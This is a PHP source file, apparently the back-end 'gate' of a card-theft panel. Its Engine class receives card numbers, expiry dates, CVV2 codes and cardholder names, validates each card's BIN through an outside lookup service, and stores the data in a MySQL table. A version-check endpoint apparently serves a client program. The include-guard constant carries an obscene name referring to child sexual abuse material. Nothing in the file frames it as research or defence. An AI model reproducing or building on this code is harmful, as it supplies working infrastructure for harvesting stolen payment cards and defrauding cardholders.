php if defined __PORNO__MALOLETKI__ header Location exit class Engine

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
if(!defined('__PORNO__MALOLETKI__')){
header("Location: /");
exit;
}
class Engine {
protected $mysqli, $ini;
public function __construct() {
$this->ini = parse_ini_file('settings.ini', true);
$this->mysqli = new mysqli($this->ini['MySQL']['host'], $this->ini['MySQL']['user'], $this->ini['MySQL']['password'], $this->ini['MySQL']['db']);
}
protected function checkExpire($expire) {
return intval(substr($expire, 2)) < intval(date('y')) || (intval(substr($expire, 2)) == intval(date('y')) && (intval(substr($expire, 0, 2)) < intval(date('m')) || intval(substr($expire, 0, 2)) > 12)) || ((intval(substr($expire, 2)) > intval(date('y')) || intval(substr($expire, 2)) > 40) && intval(substr($expire, 0, 2)) > 12) ? false : true;
}
public function addCard($number) {
if($this->checkCard($number)) {
$this->mysqli->query("INSERT INTO cards (number, data, type) VALUES ('".$this->mysqli->escape_string($number)."', '".$this->mysqli->escape_string($this->getBinData(substr($number, 0, 6)))."', '".$this->mysqli->escape_string($_GET['type'])."')");
$arr = json_decode($this->getBinData(substr($number, 0, 6)), true);
$this->apiEcho(array('status' => 'success', 'country_code' => $arr['country_code'], 'bank' => $arr['bank']));
}else
$this->apiEcho(array('status' => 'error'));
}
public function addExpire($card, $expire) {
if((boolean) current($this->mysqli->query("SELECT COUNT(id) as count FROM cards WHERE number='".$this->mysqli->escape_string($card)."'")->fetch_assoc())) {
if($this->checkExpire($expire))
$this->mysqli->query("UPDATE cards SET expire='".$this->mysqli->escape_string($expire)."' WHERE number='".$this->mysqli->escape_string($card)."' ORDER BY id DESC LIMIT 1");
else
$this->apiEcho(array('status' => 'error_expire'));
$this->apiEcho(array('status' => 'success'));
} else
$this->apiEcho(array('status' => 'error'));
}
public function addCVV2($card, $cvv2) {
if((boolean) current($this->mysqli->query("SELECT COUNT(id) as count FROM cards WHERE number='".$this->mysqli->escape_string($card)."'")->fetch_assoc())) {
$this->mysqli->query("UPDATE cards SET cvv2='".$this->mysqli->escape_string($cvv2)."' WHERE number='".$this->mysqli->escape_string($card)."' ORDER BY id DESC LIMIT 1");
$this->apiEcho(array('status' => 'success'));
} else
$this->apiEcho(array('status' => 'error'));
}
public function addFIO($card, $fio) {
if((boolean) current($this->mysqli->query("SELECT COUNT(id) as count FROM cards WHERE number='".$this->mysqli->escape_string($card)."'")->fetch_assoc())) {
$this->mysqli->query("UPDATE cards SET fio='".$this->mysqli->escape_string($fio)."' WHERE number='".$this->mysqli->escape_string($card)."' ORDER BY id DESC LIMIT 1");
$this->apiEcho(array('status' => 'success'));
} else
$this->apiEcho(array('status' => 'error'));
}
public function apiEcho($arr) {
die(json_encode($arr));
}
protected function checkCard($number) {
return !preg_match('/not found/', $this->getBinData(substr($number, 0, 6)));
}
protected function getBinData($bin) {
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_URL => 'http://www.binlist.net/json/'.intval($bin)
));
return curl_exec($ch);
}
public function checkUpgrade($version) {
if($this->ini['Site']['version'] != $version) {
$this->apiEcho(array('upgrade' => 'yes', 'd' => 'Просто хуйня!=)', 'version' => $this->ini['Site']['version']));
}
else
$this->apiEcho(array('upgrade' => 'no'));
}
}